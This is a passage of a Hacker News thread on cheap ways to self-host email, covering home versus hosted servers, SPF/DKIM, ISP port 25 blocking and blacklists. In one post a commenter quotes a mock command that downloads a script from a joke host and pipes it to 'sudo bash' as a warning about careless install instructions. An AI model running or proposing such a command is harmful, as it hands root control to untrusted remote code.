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Ask HN: cheap ways to host your own email server?

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Re: Ask HN: cheap ways to host your own email server?

#41

Post by josho »

ubercore wrote: post #22
treffer wrote: post #11

Buy a domain on a service that allows API-based DNS updates. Put up a RPI at home. postfix + dovecot + roundcube should do the trick. Add FW forwardings for 80/443/25 (or allow IPv6 to pass through) Update DNS records every N minutes. (cron, nsupdate, dyndns clients, amazon command line tools....). You will need SPF/DKIM. The RFC for SMTP says Mail Servers have to retry for 7 days before giving up on mail delivery. T…

I think a lot of IP blocks show up in blacklists just by virtue of belonging to cable companies.

I've been running my mail server from my home for months. There is one block list that my IP range is on due to the nature of it running from my home. But, I tested with the big free providers and haven't found a single email provider that blocks me as a result.

Re: Ask HN: cheap ways to host your own email server?

#42

Post by josho »

mindslight wrote: post #28
FiloSottile wrote: post #23

Earlier quoted context omitted.

> PS: Some old firewalls block dynamic IPs for mail delivery. I'm not sure how common this is today, especially as SPAM and botnets have evolved a lot. The problem is not that firewalls block dynamic IPs, but that a lot of mail servers, to deal with spam servers, started accepting mail only from some trusted smarthosts. So there might be some server that will reject your mails. (I don't honestly know how much SPF mak…

Most ISPs block outbound tcp port 25, which is why you'll likely need to setup your ISP's smtp server as a smarthost for a consumer connection. FWIW running a personal mail server on Linode for 8 years, I've never had a remote mail server refuse acceptance due to my IP address not being on some protocartel whitelist. I have had a few annoying false positives from Mailavenger, but clearly that's not my config that's b…

s/most/some/

If an ISP blocks port 25 then it means they'll have a bunch of support calls from people who's email client doesn't send email because SMTP is blocked. So, in my experience not many ISPs do that anymore. Besides it isn't actually an effective way to stop spam.

Re: Ask HN: cheap ways to host your own email server?

#43

Post by alienfluid »

I wrote up a post [1] about running my own mail server a few months ago. I ran into issues with my emails being rejected by certain ISPs (AOL for instance) even though I (supposedly) had set up SPF and DKIM. Ended up moving to Outlook.com using my domain. Hope you have better luck!

[1] http://farhan.org/running-my-own-mail-server.html

Re: Ask HN: cheap ways to host your own email server?

#44

Post by Taeram »

FiloSottile wrote: post #23
treffer wrote: post #11

Buy a domain on a service that allows API-based DNS updates. Put up a RPI at home. postfix + dovecot + roundcube should do the trick. Add FW forwardings for 80/443/25 (or allow IPv6 to pass through) Update DNS records every N minutes. (cron, nsupdate, dyndns clients, amazon command line tools....). You will need SPF/DKIM. The RFC for SMTP says Mail Servers have to retry for 7 days before giving up on mail delivery. T…

> PS: Some old firewalls block dynamic IPs for mail delivery. I'm not sure how common this is today, especially as SPAM and botnets have evolved a lot. The problem is not that firewalls block dynamic IPs, but that a lot of mail servers, to deal with spam servers, started accepting mail only from some trusted smarthosts. So there might be some server that will reject your mails. (I don't honestly know how much SPF mak…

If you're okay having your outgoing mail go through another hop, something like mailgun.com has a free plan if you send less than 10k emails per month.

Re: Ask HN: cheap ways to host your own email server?

#45

Post by eps »

treffer wrote: post #11

Buy a domain on a service that allows API-based DNS updates. Put up a RPI at home. postfix + dovecot + roundcube should do the trick. Add FW forwardings for 80/443/25 (or allow IPv6 to pass through) Update DNS records every N minutes. (cron, nsupdate, dyndns clients, amazon command line tools....). You will need SPF/DKIM. The RFC for SMTP says Mail Servers have to retry for 7 days before giving up on mail delivery. T…

Do NOT host at home.

For one, this violates every second provider's ToS, if not every single one.

For two, lots of providers block incoming SMTP connections on TCP/25. More importantly, they may start blocking it without notice and you'll have no clue that they did.

For three, you will most likely end up on a RBL (blacklist) in no time solely because you come from a "consumer" IP range.

I mean, hosting at home is technically simple, but in the end it created more problems that it solves. Get a hosted server and use it instead.

Re: Ask HN: cheap ways to host your own email server?

#46

Post by mindslight »

josho wrote: post #42
mindslight wrote: post #28

Earlier quoted context omitted.

Most ISPs block outbound tcp port 25, which is why you'll likely need to setup your ISP's smtp server as a smarthost for a consumer connection. FWIW running a personal mail server on Linode for 8 years, I've never had a remote mail server refuse acceptance due to my IP address not being on some protocartel whitelist. I have had a few annoying false positives from Mailavenger, but clearly that's not my config that's b…

s/most/some/ If an ISP blocks port 25 then it means they'll have a bunch of support calls from people who's email client doesn't send email because SMTP is blocked. So, in my experience not many ISPs do that anymore. Besides it isn't actually an effective way to stop spam.

Well I currently see both Sonic.net and Verizon blocking outbound tcp/25, which is the extent of my limited sample. According to RFC4409, mail submission is supposed to be done on tcp/587 these days. And no matter how effective at actually stopping spam in general, I suspect tcp/25 is blocked out of a desire to not end up on IP blacklists due to botnetted customers.

Re: Ask HN: cheap ways to host your own email server?

#47

Post by treffer »

eps wrote: post #45
treffer wrote: post #11

Buy a domain on a service that allows API-based DNS updates. Put up a RPI at home. postfix + dovecot + roundcube should do the trick. Add FW forwardings for 80/443/25 (or allow IPv6 to pass through) Update DNS records every N minutes. (cron, nsupdate, dyndns clients, amazon command line tools....). You will need SPF/DKIM. The RFC for SMTP says Mail Servers have to retry for 7 days before giving up on mail delivery. T…

Do NOT host at home. For one, this violates every second provider's ToS, if not every single one. For two, lots of providers block incoming SMTP connections on TCP/25. More importantly, they may start blocking it without notice and you'll have no clue that they did. For three, you will most likely end up on a RBL (blacklist) in no time solely because you come from a "consumer" IP range. I mean, hosting at home is tec…

1. My ISP send me a router that has a feature to host a internet accessible fileserver. Out-of-the-box. ISPs in germany do not promote home-hosting but they give you devices that do it.

2. Incoming / Outgoing TCP/25 blocking: Not a problem with ISPs in Germany.

3. Blacklisting: At most a problem if you send mails. Plus GMAIL requires SPF/DKIM for just about evey IP, so yes, you are on a blacklist unless you do some DNS magic. BUT once you do the magic it will override IP block - unless the other side has a shitty setup....

Re: Ask HN: cheap ways to host your own email server?

#48

Post by e12e »

shiftpgdn wrote: post #33
asdasf wrote: post #7

Earlier quoted context omitted.

Where do people get these misguided notions about email? You don't need dkim or spf at all, few people check either, and they are just to prevent backscatter. Running your own mail server is trivially easy.

Sorry but that's not true at all. DKIM keys, spf records and gmail: https://support.google.com/mail/answer/81126?hl=en Recent Exim exploit: http://www.exploit-db.com/exploits/25970/ Dovecot exploit: https://www.rapid7.com/db/modules/exploit/linux/smtp/exim4_d... I found a few Sendmail exploits as well but nothing from this year. Sure this stuff is easy to install but there is a reason managed email exists.

That "Exim exploit"-link is a little misleading -- that's not a bug in the software, but in (third party) documentation:

https://www.redteam-pentesting.de/de/advisories/rt-sa-2013-0...

By that metric all software on your servers are insecure (consider the number of "just do: 'wget http://trollol.com/pwn.sh|sudo bash -'"-type advice you find looking at install-instruction for random github projects).

Re: Ask HN: cheap ways to host your own email server?

#49

Post by slashrsm »

alienfluid wrote: post #43

I wrote up a post [1] about running my own mail server a few months ago. I ran into issues with my emails being rejected by certain ISPs (AOL for instance) even though I (supposedly) had set up SPF and DKIM. Ended up moving to Outlook.com using my domain. Hope you have better luck! [1] http://farhan.org/running-my-own-mail-server.html

What is the point of self-hosting if you send all your email through a 3rd party?

Re: Ask HN: cheap ways to host your own email server?

#50

Post by scintill76 »

slashrsm wrote: post #49
alienfluid wrote: post #43

I wrote up a post [1] about running my own mail server a few months ago. I ran into issues with my emails being rejected by certain ISPs (AOL for instance) even though I (supposedly) had set up SPF and DKIM. Ended up moving to Outlook.com using my domain. Hope you have better luck! [1] http://farhan.org/running-my-own-mail-server.html

What is the point of self-hosting if you send all your email through a 3rd party?

They only have your outbound mail (which admittedly may include quotes from inbound mail), and are (ostensibly) not storing it long-term.

I've been running a split setup like this for a year or two. I found that my free-with-apartment internet connection, amazingly, gave a fairly static IP (it was DHCP but usually the same) and unfirewalled inbound ports, so I set up a mailserver for inbound mail and IMAP storage. I figured the IP might be on anti-spam blacklists, firewalled on port 25, or shut down if the ISP saw me mailing out, so I sent outbound mail through Dreamhost. It was nice to have the full copy of my mail in my house, with backups and spam filtering under my control. Sending outbound through a 3rd party wasn't ideal, but I thought a decent compromise to avoid having to talk to the ISP and risk the free public IP being taken away (I wouldn't have even known who to contact anyway.)

As a bonus, I set the Dreamhost mail server as a backup MX with the same email address I host myself, so they catch mail for me if my server or connection goes down.

I now have official "small business" ISP service that includes several public IPs, so I am transitioning to sending my own mail, now that it's definitely kosher and I'll have support.

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